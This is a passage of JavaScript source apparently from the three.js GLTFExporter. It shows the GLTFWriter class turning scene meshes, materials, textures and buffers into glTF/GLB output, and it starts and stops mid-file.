THREE_TO_WEBGL[ THREE.LinearMipmapNearestFilter ] = WEBGL_CONSTANTS.LINEAR_MIPMAP_NEAREST;
THREE_TO_WEBGL[ THREE.LinearMipmapLinearFilter ] = WEBGL_CONSTANTS.LINEAR_MIPMAP_LINEAR;
THREE_TO_WEBGL[ THREE.ClampToEdgeWrapping ] = WEBGL_CONSTANTS.CLAMP_TO_EDGE;
THREE_TO_WEBGL[ THREE.RepeatWrapping ] = WEBGL_CONSTANTS.REPEAT;
THREE_TO_WEBGL[ THREE.MirroredRepeatWrapping ] = WEBGL_CONSTANTS.MIRRORED_REPEAT;
const PATH_PROPERTIES = {
scale: 'scale',
position: 'translation',
quaternion: 'rotation',
morphTargetInfluences: 'weights'
}; // GLB constants
// https://github.com/KhronosGroup/glTF/blob/master/specification/2.0/README.md#glb-file-format-specification
const GLB_HEADER_BYTES = 12;
const GLB_HEADER_MAGIC = 0x46546C67;
const GLB_VERSION = 2;
const GLB_CHUNK_PREFIX_BYTES = 8;
const GLB_CHUNK_TYPE_JSON = 0x4E4F534A;
const GLB_CHUNK_TYPE_BIN = 0x004E4942; //------------------------------------------------------------------------------
// Utility functions
//------------------------------------------------------------------------------
/**
* Compare two arrays
* @param {Array} array1 Array 1 to compare
* @param {Array} array2 Array 2 to compare
* @return {Boolean} Returns true if both arrays are equal
*/
function equalArray( array1, array2 ) {
return array1.length === array2.length && array1.every( function ( element, index ) {
return element === array2[ index ];
} );
}
/**
* Converts a string to an ArrayBuffer.
* @param {string} text
* @return {ArrayBuffer}
*/
function stringToArrayBuffer( text ) {
if ( window.TextEncoder !== undefined ) {
return new TextEncoder().encode( text ).buffer;
}
const array = new Uint8Array( new ArrayBuffer( text.length ) );
for ( let i = 0, il = text.length; i < il; i ++ ) {
const value = text.charCodeAt( i ); // Replacing multi-byte character with space(0x20).
array[ i ] = value > 0xFF ? 0x20 : value;
}
return array.buffer;
}
/**
* Is identity matrix
*
* @param {Matrix4} matrix
* @returns {Boolean} Returns true, if parameter is identity matrix
*/
function isIdentityMatrix( matrix ) {
return equalArray( matrix.elements, [ 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1 ] );
}
/**
* Get the min and max vectors from the given attribute
* @param {BufferAttribute} attribute Attribute to find the min/max in range from start to start + count
* @param {Integer} start
* @param {Integer} count
* @return {Object} Object containing the `min` and `max` values (As an array of attribute.itemSize components)
*/
function getMinMax( attribute, start, count ) {
const output = {
min: new Array( attribute.itemSize ).fill( Number.POSITIVE_INFINITY ),
max: new Array( attribute.itemSize ).fill( Number.NEGATIVE_INFINITY )
};
for ( let i = start; i < start + count; i ++ ) {
for ( let a = 0; a < attribute.itemSize; a ++ ) {
let value;
if ( attribute.itemSize > 4 ) {
// no support for interleaved data for itemSize > 4
value = attribute.array[ i * attribute.itemSize + a ];
} else {
if ( a === 0 ) value = attribute.getX( i ); else if ( a === 1 ) value = attribute.getY( i ); else if ( a === 2 ) value = attribute.getZ( i ); else if ( a === 3 ) value = attribute.getW( i );
}
output.min[ a ] = Math.min( output.min[ a ], value );
output.max[ a ] = Math.max( output.max[ a ], value );
}
}
return output;
}
/**
* Get the required size + padding for a buffer, rounded to the next 4-byte boundary.
* https://github.com/KhronosGroup/glTF/tree/master/specification/2.0#data-alignment
*
* @param {Integer} bufferSize The size the original buffer.
* @returns {Integer} new buffer size with required padding.
*
*/
function getPaddedBufferSize( bufferSize ) {
return Math.ceil( bufferSize / 4 ) * 4;
}
/**
* Returns a buffer aligned to 4-byte boundary.
*
* @param {ArrayBuffer} arrayBuffer Buffer to pad
* @param {Integer} paddingByte (Optional)
* @returns {ArrayBuffer} The same buffer if it's already aligned to 4-byte boundary or a new buffer
*/
function getPaddedArrayBuffer( arrayBuffer, paddingByte = 0 ) {
const paddedLength = getPaddedBufferSize( arrayBuffer.byteLength );
if ( paddedLength !== arrayBuffer.byteLength ) {
const array = new Uint8Array( paddedLength );
array.set( new Uint8Array( arrayBuffer ) );
if ( paddingByte !== 0 ) {
for ( let i = arrayBuffer.byteLength; i < paddedLength; i ++ ) {
array[ i ] = paddingByte;
}
}
return array.buffer;
}
return arrayBuffer;
}
let cachedCanvas = null;
/**
* Writer
*/
class GLTFWriter {
constructor() {
this.plugins = [];
this.options = {};
this.pending = [];
this.buffers = [];
this.byteOffset = 0;
this.buffers = [];
this.nodeMap = new Map();
this.skins = [];
this.extensionsUsed = {};
this.uids = new Map();
this.uid = 0;
this.json = {
asset: {
version: '2.0',
generator: 'THREE.GLTFExporter'
}
};
this.cache = {
meshes: new Map(),
attributes: new Map(),
attributesNormalized: new Map(),
materials: new Map(),
textures: new Map(),
images: new Map()
};
}
setPlugins( plugins ) {
this.plugins = plugins;
}
/**
* Parse scenes and generate GLTF output
* @param {Scene or [THREE.Scenes]} input THREE.Scene or Array of THREE.Scenes
* @param {Function} onDone Callback on completed
* @param {Object} options options
*/
write( input, onDone, options ) {
this.options = Object.assign( {}, {
// default options
binary: false,
trs: false,
onlyVisible: true,
truncateDrawRange: true,
embedImages: true,
maxTextureSize: Infinity,
animations: [],
includeCustomExtensions: false
}, options );
if ( this.options.animations.length > 0 ) {
// Only TRS properties, and not matrices, may be targeted by animation.
this.options.trs = true;
}
this.processInput( input );
const writer = this;
Promise.all( this.pending ).then( function () {
const buffers = writer.buffers;
const json = writer.json;
const options = writer.options;
const extensionsUsed = writer.extensionsUsed; // Merge buffers.
const blob = new Blob( buffers, {
type: 'application/octet-stream'
} ); // Declare extensions.
const extensionsUsedList = Object.keys( extensionsUsed );
if ( extensionsUsedList.length > 0 ) json.extensionsUsed = extensionsUsedList; // Update bytelength of the single buffer.
if ( json.buffers && json.buffers.length > 0 ) json.buffers[ 0 ].byteLength = blob.size;
if ( options.binary === true ) {
// https://github.com/KhronosGroup/glTF/blob/master/specification/2.0/README.md#glb-file-format-specification
const reader = new window.FileReader();
reader.readAsArrayBuffer( blob );
reader.onloadend = function () {
// Binary chunk.
const binaryChunk = getPaddedArrayBuffer( reader.result );
const binaryChunkPrefix = new DataView( new ArrayBuffer( GLB_CHUNK_PREFIX_BYTES ) );
binaryChunkPrefix.setUint32( 0, binaryChunk.byteLength, true );
binaryChunkPrefix.setUint32( 4, GLB_CHUNK_TYPE_BIN, true ); // JSON chunk.
const jsonChunk = getPaddedArrayBuffer( stringToArrayBuffer( JSON.stringify( json ) ), 0x20 );
const jsonChunkPrefix = new DataView( new ArrayBuffer( GLB_CHUNK_PREFIX_BYTES ) );
jsonChunkPrefix.setUint32( 0, jsonChunk.byteLength, true );
jsonChunkPrefix.setUint32( 4, GLB_CHUNK_TYPE_JSON, true ); // GLB header.
const header = new ArrayBuffer( GLB_HEADER_BYTES );
const headerView = new DataView( header );
headerView.setUint32( 0, GLB_HEADER_MAGIC, true );
headerView.setUint32( 4, GLB_VERSION, true );
const totalByteLength = GLB_HEADER_BYTES + jsonChunkPrefix.byteLength + jsonChunk.byteLength + binaryChunkPrefix.byteLength + binaryChunk.byteLength;
headerView.setUint32( 8, totalByteLength, true );
const glbBlob = new Blob( [ header, jsonChunkPrefix, jsonChunk, binaryChunkPrefix, binaryChunk ], {
type: 'application/octet-stream'
} );
const glbReader = new window.FileReader();
glbReader.readAsArrayBuffer( glbBlob );
glbReader.onloadend = function () {
onDone( glbReader.result );
};
};
} else {
if ( json.buffers && json.buffers.length > 0 ) {
const reader = new window.FileReader();
reader.readAsDataURL( blob );
reader.onloadend = function () {
const base64data = reader.result;
json.buffers[ 0 ].uri = base64data;
onDone( json );
};
} else {
onDone( json );
}
}
} );
}
/**
* Serializes a userData.
*
* @param {THREE.Object3D|THREE.Material} object
* @param {Object} objectDef
*/
serializeUserData( object, objectDef ) {
if ( Object.keys( object.userData ).length === 0 ) return;
const options = this.options;
const extensionsUsed = this.extensionsUsed;
try {
const json = JSON.parse( JSON.stringify( object.userData ) );
if ( options.includeCustomExtensions && json.gltfExtensions ) {
if ( objectDef.extensions === undefined ) objectDef.extensions = {};
for ( const extensionName in json.gltfExtensions ) {
objectDef.extensions[ extensionName ] = json.gltfExtensions[ extensionName ];
extensionsUsed[ extensionName ] = true;
}
delete json.gltfExtensions;
}
if ( Object.keys( json ).length > 0 ) objectDef.extras = json;
} catch ( error ) {
console.warn( 'THREE.GLTFExporter: userData of \'' + object.name + '\' ' + 'won\'t be serialized because of JSON.stringify error - ' + error.message );
}
}
/**
* Assign and return a temporal unique id for an object
* especially which doesn't have .uuid
* @param {Object} object
* @return {Integer}
*/
getUID( object ) {
if ( ! this.uids.has( object ) ) this.uids.set( object, this.uid ++ );
return this.uids.get( object );
}
/**
* Checks if normal attribute values are normalized.
*
* @param {BufferAttribute} normal
* @returns {Boolean}
*/
isNormalizedNormalAttribute( normal ) {
const cache = this.cache;
if ( cache.attributesNormalized.has( normal ) ) return false;
const v = new THREE.Vector3();
for ( let i = 0, il = normal.count; i < il; i ++ ) {
// 0.0005 is from glTF-validator
if ( Math.abs( v.fromBufferAttribute( normal, i ).length() - 1.0 ) > 0.0005 ) return false;
}
return true;
}
/**
* Creates normalized normal buffer attribute.
*
* @param {BufferAttribute} normal
* @returns {BufferAttribute}
*
*/
createNormalizedNormalAttribute( normal ) {
const cache = this.cache;
if ( cache.attributesNormalized.has( normal ) ) return cache.attributesNormalized.get( normal );
const attribute = normal.clone();
const v = new THREE.Vector3();
for ( let i = 0, il = attribute.count; i < il; i ++ ) {
v.fromBufferAttribute( attribute, i );
if ( v.x === 0 && v.y === 0 && v.z === 0 ) {
// if values can't be normalized set (1, 0, 0)
v.setX( 1.0 );
} else {
v.normalize();
}
attribute.setXYZ( i, v.x, v.y, v.z );
}
cache.attributesNormalized.set( normal, attribute );
return attribute;
}
/**
* Applies a texture transform, if present, to the map definition. Requires
* the KHR_texture_transform extension.
*
* @param {Object} mapDef
* @param {THREE.Texture} texture
*/
applyTextureTransform( mapDef, texture ) {
let didTransform = false;
const transformDef = {};
if ( texture.offset.x !== 0 || texture.offset.y !== 0 ) {
transformDef.offset = texture.offset.toArray();
didTransform = true;
}
if ( texture.rotation !== 0 ) {
transformDef.rotation = texture.rotation;
didTransform = true;
}
if ( texture.repeat.x !== 1 || texture.repeat.y !== 1 ) {
transformDef.scale = texture.repeat.toArray();
didTransform = true;
}
if ( didTransform ) {
mapDef.extensions = mapDef.extensions || {};
mapDef.extensions[ 'KHR_texture_transform' ] = transformDef;
this.extensionsUsed[ 'KHR_texture_transform' ] = true;
}
}
/**
* Process a buffer to append to the default one.
* @param {ArrayBuffer} buffer
* @return {Integer}
*/
processBuffer( buffer ) {
const json = this.json;
const buffers = this.buffers;
if ( ! json.buffers ) json.buffers = [ {
byteLength: 0
} ]; // All buffers are merged before export.
buffers.push( buffer );
return 0;
}
/**
* Process and generate a BufferView
* @param {BufferAttribute} attribute
* @param {number} componentType
* @param {number} start
* @param {number} count
* @param {number} target (Optional) Target usage of the BufferView
* @return {Object}
*/
processBufferView( attribute, componentType, start, count, target ) {
const json = this.json;
if ( ! json.bufferViews ) json.bufferViews = []; // Create a new dataview and dump the attribute's array into it
let componentSize;
if ( componentType === WEBGL_CONSTANTS.UNSIGNED_BYTE ) {
componentSize = 1;
} else if ( componentType === WEBGL_CONSTANTS.UNSIGNED_SHORT ) {
componentSize = 2;
} else {
componentSize = 4;
}
const byteLength = getPaddedBufferSize( count * attribute.itemSize * componentSize );
const dataView = new DataView( new ArrayBuffer( byteLength ) );
let offset = 0;
for ( let i = start; i < start + count; i ++ ) {
for ( let a = 0; a < attribute.itemSize; a ++ ) {
let value;
if ( attribute.itemSize > 4 ) {
// no support for interleaved data for itemSize > 4
value = attribute.array[ i * attribute.itemSize + a ];
} else {
if ( a === 0 ) value = attribute.getX( i ); else if ( a === 1 ) value = attribute.getY( i ); else if ( a === 2 ) value = attribute.getZ( i ); else if ( a === 3 ) value = attribute.getW( i );
}
if ( componentType === WEBGL_CONSTANTS.FLOAT ) {
dataView.setFloat32( offset, value, true );
} else if ( componentType === WEBGL_CONSTANTS.UNSIGNED_INT ) {
dataView.setUint32( offset, value, true );
} else if ( componentType === WEBGL_CONSTANTS.UNSIGNED_SHORT ) {
dataView.setUint16( offset, value, true );
} else if ( componentType === WEBGL_CONSTANTS.UNSIGNED_BYTE ) {
dataView.setUint8( offset, value );
}
offset += componentSize;
}
}
const bufferViewDef = {
buffer: this.processBuffer( dataView.buffer ),
byteOffset: this.byteOffset,
byteLength: byteLength
};
if ( target !== undefined ) bufferViewDef.target = target;
if ( target === WEBGL_CONSTANTS.ARRAY_BUFFER ) {
// Only define byteStride for vertex attributes.
bufferViewDef.byteStride = attribute.itemSize * componentSize;
}
this.byteOffset += byteLength;
json.bufferViews.push( bufferViewDef ); // @TODO Merge bufferViews where possible.
const output = {
id: json.bufferViews.length - 1,
byteLength: 0
};
return output;
}
/**
* Process and generate a BufferView from an image Blob.
* @param {Blob} blob
* @return {Promise<Integer>}
*/
processBufferViewImage( blob ) {
const writer = this;
const json = writer.json;
if ( ! json.bufferViews ) json.bufferViews = [];
return new Promise( function ( resolve ) {
const reader = new window.FileReader();
reader.readAsArrayBuffer( blob );
reader.onloadend = function () {
const buffer = getPaddedArrayBuffer( reader.result );
const bufferViewDef = {
buffer: writer.processBuffer( buffer ),
byteOffset: writer.byteOffset,
byteLength: buffer.byteLength
};
writer.byteOffset += buffer.byteLength;
resolve( json.bufferViews.push( bufferViewDef ) - 1 );
};
} );
}
/**
* Process attribute to generate an accessor
* @param {BufferAttribute} attribute Attribute to process
* @param {THREE.BufferGeometry} geometry (Optional) Geometry used for truncated draw range
* @param {Integer} start (Optional)
* @param {Integer} count (Optional)
* @return {Integer|null} Index of the processed accessor on the "accessors" array
*/
processAccessor( attribute, geometry, start, count ) {
const options = this.options;
const json = this.json;
const types = {
1: 'SCALAR',
2: 'VEC2',
3: 'VEC3',
4: 'VEC4',
16: 'MAT4'
};
let componentType; // Detect the component type of the attribute array (float, uint or ushort)
if ( attribute.array.constructor === Float32Array ) {
componentType = WEBGL_CONSTANTS.FLOAT;
} else if ( attribute.array.constructor === Uint32Array ) {
componentType = WEBGL_CONSTANTS.UNSIGNED_INT;
} else if ( attribute.array.constructor === Uint16Array ) {
componentType = WEBGL_CONSTANTS.UNSIGNED_SHORT;
} else if ( attribute.array.constructor === Uint8Array ) {
componentType = WEBGL_CONSTANTS.UNSIGNED_BYTE;
} else {
throw new Error( 'THREE.GLTFExporter: Unsupported bufferAttribute component type.' );
}
if ( start === undefined ) start = 0;
if ( count === undefined ) count = attribute.count; // @TODO Indexed buffer geometry with drawRange not supported yet
if ( options.truncateDrawRange && geometry !== undefined && geometry.index === null ) {
const end = start + count;
const end2 = geometry.drawRange.count === Infinity ? attribute.count : geometry.drawRange.start + geometry.drawRange.count;
start = Math.max( start, geometry.drawRange.start );
count = Math.min( end, end2 ) - start;
if ( count < 0 ) count = 0;
} // Skip creating an accessor if the attribute doesn't have data to export
if ( count === 0 ) return null;
const minMax = getMinMax( attribute, start, count );
let bufferViewTarget; // If geometry isn't provided, don't infer the target usage of the bufferView. For
// animation samplers, target must not be set.
if ( geometry !== undefined ) {
bufferViewTarget = attribute === geometry.index ? WEBGL_CONSTANTS.ELEMENT_ARRAY_BUFFER : WEBGL_CONSTANTS.ARRAY_BUFFER;
}
const bufferView = this.processBufferView( attribute, componentType, start, count, bufferViewTarget );
const accessorDef = {
bufferView: bufferView.id,
byteOffset: bufferView.byteOffset,
componentType: componentType,
count: count,
max: minMax.max,
min: minMax.min,
type: types[ attribute.itemSize ]
};
if ( attribute.normalized === true ) accessorDef.normalized = true;
if ( ! json.accessors ) json.accessors = [];
return json.accessors.push( accessorDef ) - 1;
}
/**
* Process image
* @param {Image} image to process
* @param {Integer} format of the image (e.g. THREE.RGBFormat, THREE.RGBAFormat etc)
* @param {Boolean} flipY before writing out the image
* @return {Integer} Index of the processed texture in the "images" array
*/
processImage( image, format, flipY ) {
const writer = this;
const cache = writer.cache;
const json = writer.json;
const options = writer.options;
const pending = writer.pending;
if ( ! cache.images.has( image ) ) cache.images.set( image, {} );
const cachedImages = cache.images.get( image );
const mimeType = format === THREE.RGBAFormat ? 'image/png' : 'image/jpeg';
const key = mimeType + ':flipY/' + flipY.toString();
if ( cachedImages[ key ] !== undefined ) return cachedImages[ key ];
if ( ! json.images ) json.images = [];
const imageDef = {
mimeType: mimeType
};
if ( options.embedImages ) {
const canvas = cachedCanvas = cachedCanvas || document.createElement( 'canvas' );
canvas.width = Math.min( image.width, options.maxTextureSize );
canvas.height = Math.min( image.height, options.maxTextureSize );
const ctx = canvas.getContext( '2d' );
if ( flipY === true ) {
ctx.translate( 0, canvas.height );
ctx.scale( 1, - 1 );
}
if ( typeof HTMLImageElement !== 'undefined' && image instanceof HTMLImageElement || typeof HTMLCanvasElement !== 'undefined' && image instanceof HTMLCanvasElement || typeof OffscreenCanvas !== 'undefined' && image instanceof OffscreenCanvas || typeof ImageBitmap !== 'undefined' && image instanceof ImageBitmap ) {
ctx.drawImage( image, 0, 0, canvas.width, canvas.height );
} else {
if ( format !== THREE.RGBAFormat && format !== THREE.RGBFormat ) {
console.error( 'GLTFExporter: Only RGB and RGBA formats are supported.' );
}
if ( image.width > options.maxTextureSize || image.height > options.maxTextureSize ) {
console.warn( 'GLTFExporter: Image size is bigger than maxTextureSize', image );
}
const data = new Uint8ClampedArray( image.height * image.width * 4 );
if ( format === THREE.RGBAFormat ) {
for ( let i = 0; i < data.length; i += 4 ) {
data[ i + 0 ] = image.data[ i + 0 ];
data[ i + 1 ] = image.data[ i + 1 ];
data[ i + 2 ] = image.data[ i + 2 ];
data[ i + 3 ] = image.data[ i + 3 ];
}
} else {
for ( let i = 0, j = 0; i < data.length; i += 4, j += 3 ) {
data[ i + 0 ] = image.data[ j + 0 ];
data[ i + 1 ] = image.data[ j + 1 ];
data[ i + 2 ] = image.data[ j + 2 ];
data[ i + 3 ] = 255;
}
}
ctx.putImageData( new ImageData( data, image.width, image.height ), 0, 0 );
}
if ( options.binary === true ) {
pending.push( new Promise( function ( resolve ) {
canvas.toBlob( function ( blob ) {
writer.processBufferViewImage( blob ).then( function ( bufferViewIndex ) {
imageDef.bufferView = bufferViewIndex;
resolve();
} );
}, mimeType );
} ) );
} else {
imageDef.uri = canvas.toDataURL( mimeType );
}
} else {
imageDef.uri = image.src;
}
const index = json.images.push( imageDef ) - 1;
cachedImages[ key ] = index;
return index;
}
/**
* Process sampler
* @param {Texture} map Texture to process
* @return {Integer} Index of the processed texture in the "samplers" array
*/
processSampler( map ) {
const json = this.json;
if ( ! json.samplers ) json.samplers = [];
const samplerDef = {
magFilter: THREE_TO_WEBGL[ map.magFilter ],
minFilter: THREE_TO_WEBGL[ map.minFilter ],
wrapS: THREE_TO_WEBGL[ map.wrapS ],
wrapT: THREE_TO_WEBGL[ map.wrapT ]
};
return json.samplers.push( samplerDef ) - 1;
}
/**
* Process texture
* @param {Texture} map Map to process
* @return {Integer} Index of the processed texture in the "textures" array
*/
processTexture( map ) {
const cache = this.cache;
const json = this.json;
if ( cache.textures.has( map ) ) return cache.textures.get( map );
if ( ! json.textures ) json.textures = [];
const textureDef = {
sampler: this.processSampler( map ),
source: this.processImage( map.image, map.format, map.flipY )
};
if ( map.name ) textureDef.name = map.name;
this._invokeAll( function ( ext ) {
ext.writeTexture && ext.writeTexture( map, textureDef );
} );
const index = json.textures.push( textureDef ) - 1;
cache.textures.set( map, index );
return index;
}
/**
* Process material
* @param {THREE.Material} material Material to process
* @return {Integer|null} Index of the processed material in the "materials" array
*/
processMaterial( material ) {
const cache = this.cache;
const json = this.json;
if ( cache.materials.has( material ) ) return cache.materials.get( material );
if ( material.isShaderMaterial ) {
console.warn( 'GLTFExporter: THREE.ShaderMaterial not supported.' );
return null;
}
if ( ! json.materials ) json.materials = []; // @QUESTION Should we avoid including any attribute that has the default value?
const materialDef = {
pbrMetallicRoughness: {}
};
if ( material.isMeshStandardMaterial !== true && material.isMeshBasicMaterial !== true ) {
console.warn( 'GLTFExporter: Use MeshStandardMaterial or MeshBasicMaterial for best results.' );
} // pbrMetallicRoughness.baseColorFactor
const color = material.color.toArray().concat( [ material.opacity ] );
if ( ! equalArray( color, [ 1, 1, 1, 1 ] ) ) {
materialDef.pbrMetallicRoughness.baseColorFactor = color;
}
if ( material.isMeshStandardMaterial ) {
materialDef.pbrMetallicRoughness.metallicFactor = material.metalness;
materialDef.pbrMetallicRoughness.roughnessFactor = material.roughness;
} else {
materialDef.pbrMetallicRoughness.metallicFactor = 0.5;
materialDef.pbrMetallicRoughness.roughnessFactor = 0.5;
} // pbrMetallicRoughness.metallicRoughnessTexture
if ( material.metalnessMap || material.roughnessMap ) {
if ( material.metalnessMap === material.roughnessMap ) {
const metalRoughMapDef = {
index: this.processTexture( material.metalnessMap )
};
this.applyTextureTransform( metalRoughMapDef, material.metalnessMap );
materialDef.pbrMetallicRoughness.metallicRoughnessTexture = metalRoughMapDef;
} else {
console.warn( 'THREE.GLTFExporter: Ignoring metalnessMap and roughnessMap because they are not the same Texture.' );
}
} // pbrMetallicRoughness.baseColorTexture or pbrSpecularGlossiness diffuseTexture
if ( material.map ) {
const baseColorMapDef = {
index: this.processTexture( material.map )
};
this.applyTextureTransform( baseColorMapDef, material.map );
materialDef.pbrMetallicRoughness.baseColorTexture = baseColorMapDef;
}
if ( material.emissive ) {
// note: emissive components are limited to stay within the 0 - 1 range to accommodate glTF spec. see #21849 and #22000.
const emissive = material.emissive.clone().multiplyScalar( material.emissiveIntensity );
const maxEmissiveComponent = Math.max( emissive.r, emissive.g, emissive.b );
if ( maxEmissiveComponent > 1 ) {
emissive.multiplyScalar( 1 / maxEmissiveComponent );
console.warn( 'THREE.GLTFExporter: Some emissive components exceed 1; emissive has been limited' );
}
if ( maxEmissiveComponent > 0 ) {
materialDef.emissiveFactor = emissive.toArray();
} // emissiveTexture
if ( material.emissiveMap ) {
const emissiveMapDef = {
index: this.processTexture( material.emissiveMap )
};
this.applyTextureTransform( emissiveMapDef, material.emissiveMap );
materialDef.emissiveTexture = emissiveMapDef;
}
} // normalTexture
if ( material.normalMap ) {
const normalMapDef = {
index: this.processTexture( material.normalMap )
};
if ( material.normalScale && material.normalScale.x !== 1 ) {
// glTF normal scale is univariate. Ignore `y`, which may be flipped.
// Context: https://github.com/mrdoob/three.js/issues/11438#issuecomment-507003995
normalMapDef.scale = material.normalScale.x;
}
this.applyTextureTransform( normalMapDef, material.normalMap );
materialDef.normalTexture = normalMapDef;
} // occlusionTexture
if ( material.aoMap ) {
const occlusionMapDef = {
index: this.processTexture( material.aoMap ),
texCoord: 1
};
if ( material.aoMapIntensity !== 1.0 ) {
occlusionMapDef.strength = material.aoMapIntensity;
}
this.applyTextureTransform( occlusionMapDef, material.aoMap );
materialDef.occlusionTexture = occlusionMapDef;
} // alphaMode
if ( material.transparent ) {
materialDef.alphaMode = 'BLEND';
} else {
if ( material.alphaTest > 0.0 ) {
materialDef.alphaMode = 'MASK';
materialDef.alphaCutoff = material.alphaTest;
}
} // doubleSided
if ( material.side === THREE.DoubleSide ) materialDef.doubleSided = true;
if ( material.name !== '' ) materialDef.name = material.name;
this.serializeUserData( material, materialDef );
this._invokeAll( function ( ext ) {
ext.writeMaterial && ext.writeMaterial( material, materialDef );
} );
const index = json.materials.push( materialDef ) - 1;
cache.materials.set( material, index );
return index;
}
/**
* Process mesh
* @param {THREE.Mesh} mesh Mesh to process
* @return {Integer|null} Index of the processed mesh in the "meshes" array
*/
processMesh( mesh ) {
const cache = this.cache;
const json = this.json;
const meshCacheKeyParts = [ mesh.geometry.uuid ];
if ( Array.isArray( mesh.material ) ) {
for ( let i = 0, l = mesh.material.length; i < l; i ++ ) {
meshCacheKeyParts.push( mesh.material[ i ].uuid );
}
} else {
meshCacheKeyParts.push( mesh.material.uuid );
}
const meshCacheKey = meshCacheKeyParts.join( ':' );
if ( cache.meshes.has( meshCacheKey ) ) return cache.meshes.get( meshCacheKey );
const geometry = mesh.geometry;
let mode; // Use the correct mode
if ( mesh.isLineSegments ) {
mode = WEBGL_CONSTANTS.LINES;
} else if ( mesh.isLineLoop ) {
mode = WEBGL_CONSTANTS.LINE_LOOP;
} else if ( mesh.isLine ) {
mode = WEBGL_CONSTANTS.LINE_STRIP;
} else if ( mesh.isPoints ) {
mode = WEBGL_CONSTANTS.POINTS;
} else {
mode = mesh.material.wireframe ? WEBGL_CONSTANTS.LINES : WEBGL_CONSTANTS.TRIANGLES;
}
if ( geometry.isBufferGeometry !== true ) {
throw new Error( 'THREE.GLTFExporter: Geometry is not of type THREE.BufferGeometry.' );
}
const meshDef = {};
const attributes = {};
const primitives = [];
const targets = []; // Conversion between attributes names in threejs and gltf spec
const nameConversion = {
uv: 'TEXCOORD_0',
uv2: 'TEXCOORD_1',
color: 'COLOR_0',
skinWeight: 'WEIGHTS_0',
skinIndex: 'JOINTS_0'
};
const originalNormal = geometry.getAttribute( 'normal' );
if ( originalNormal !== undefined && ! this.isNormalizedNormalAttribute( originalNormal ) ) {
console.warn( 'THREE.GLTFExporter: Creating normalized normal attribute from the non-normalized one.' );
geometry.setAttribute( 'normal', this.createNormalizedNormalAttribute( originalNormal ) );
} // @QUESTION Detect if .vertexColors = true?
// For every attribute create an accessor
let modifiedAttribute = null;
for ( let attributeName in geometry.attributes ) {
// Ignore morph target attributes, which are exported later.
if ( attributeName.substr( 0, 5 ) === 'morph' ) continue;
const attribute = geometry.attributes[ attributeName ];
attributeName = nameConversion[ attributeName ] || attributeName.toUpperCase(); // Prefix all geometry attributes except the ones specifically
// listed in the spec; non-spec attributes are considered custom.
const validVertexAttributes = /^(POSITION|NORMAL|TANGENT|TEXCOORD_\d+|COLOR_\d+|JOINTS_\d+|WEIGHTS_\d+)$/;
if ( ! validVertexAttributes.test( attributeName ) ) attributeName = '_' + attributeName;
if ( cache.attributes.has( this.getUID( attribute ) ) ) {
attributes[ attributeName ] = cache.attributes.get( this.getUID( attribute ) );
continue;
} // JOINTS_0 must be UNSIGNED_BYTE or UNSIGNED_SHORT.
modifiedAttribute = null;
const array = attribute.array;
if ( attributeName === 'JOINTS_0' && ! ( array instanceof Uint16Array ) && ! ( array instanceof Uint8Array ) ) {
console.warn( 'GLTFExporter: Attribute "skinIndex" converted to type UNSIGNED_SHORT.' );
modifiedAttribute = new THREE.BufferAttribute( new Uint16Array( array ), attribute.itemSize, attribute.normalized );
}
const accessor = this.processAccessor( modifiedAttribute || attribute, geometry );
if ( accessor !== null ) {
attributes[ attributeName ] = accessor;
cache.attributes.set( this.getUID( attribute ), accessor );
}
}
if ( originalNormal !== undefined ) geometry.setAttribute( 'normal', originalNormal ); // Skip if no exportable attributes found
if ( Object.keys( attributes ).length === 0 ) return null; // Morph targets
if ( mesh.morphTargetInfluences !== undefined && mesh.morphTargetInfluences.length > 0 ) {
const weights = [];
const targetNames = [];
const reverseDictionary = {};
if ( mesh.morphTargetDictionary !== undefined ) {
for ( const key in mesh.morphTargetDictionary ) {
reverseDictionary[ mesh.morphTargetDictionary[ key ] ] = key;
}
}
for ( let i = 0; i < mesh.morphTargetInfluences.length; ++ i ) {
const target = {};
let warned = false;
for ( const attributeName in geometry.morphAttributes ) {
// glTF 2.0 morph supports only POSITION/NORMAL/TANGENT.
// Three.js doesn't support TANGENT yet.
if ( attributeName !== 'position' && attributeName !== 'normal' ) {
if ( ! warned ) {
console.warn( 'GLTFExporter: Only POSITION and NORMAL morph are supported.' );
warned = true;
}
continue;
}
const attribute = geometry.morphAttributes[ attributeName ][ i ];
const gltfAttributeName = attributeName.toUpperCase(); // Three.js morph attribute has absolute values while the one of glTF has relative values.
//
// glTF 2.0 Specification:
// https://github.com/KhronosGroup/glTF/tree/master/specification/2.0#morph-targets
const baseAttribute = geometry.attributes[ attributeName ];
if ( cache.attributes.has( this.getUID( attribute ) ) ) {
target[ gltfAttributeName ] = cache.attributes.get( this.getUID( attribute ) );
continue;
} // Clones attribute not to override
const relativeAttribute = attribute.clone();
if ( ! geometry.morphTargetsRelative ) {
for ( let j = 0, jl = attribute.count; j < jl; j ++ ) {
relativeAttribute.setXYZ( j, attribute.getX( j ) - baseAttribute.getX( j ), attribute.getY( j ) - baseAttribute.getY( j ), attribute.getZ( j ) - baseAttribute.getZ( j ) );
}
}
target[ gltfAttributeName ] = this.processAccessor( relativeAttribute, geometry );
cache.attributes.set( this.getUID( baseAttribute ), target[ gltfAttributeName ] );
}
targets.push( target );
weights.push( mesh.morphTargetInfluences[ i ] );
if ( mesh.morphTargetDictionary !== undefined ) targetNames.push( reverseDictionary[ i ] );
}
meshDef.weights = weights;
if ( targetNames.length > 0 ) {
meshDef.extras = {};
meshDef.extras.targetNames = targetNames;
}
}
const isMultiMaterial = Array.isArray( mesh.material );
if ( isMultiMaterial && geometry.groups.length === 0 ) return null;
const materials = isMultiMaterial ? mesh.material : [ mesh.material ];
const groups = isMultiMaterial ? geometry.groups : [ {
materialIndex: 0,
start: undefined,
count: undefined
} ];
for ( let i = 0, il = groups.length; i < il; i ++ ) {
const primitive = {
mode: mode,
attributes: attributes
};
this.serializeUserData( geometry, primitive );
if ( targets.length > 0 ) primitive.targets = targets;
if ( geometry.index !== null ) {
let cacheKey = this.getUID( geometry.index );
if ( groups[ i ].start !== undefined || groups[ i ].count !== undefined ) {
cacheKey += ':' + groups[ i ].start + ':' + groups[ i ].count;
}
if ( cache.attributes.has( cacheKey ) ) {
primitive.indices = cache.attributes.get( cacheKey );
} else {
primitive.indices = this.processAccessor( geometry.index, geometry, groups[ i ].start, groups[ i ].count );
cache.attributes.set( cacheKey, primitive.indices );
}
if ( primitive.indices === null ) delete primitive.indices;
}
const material = this.processMaterial( materials[ groups[ i ].materialIndex ] );
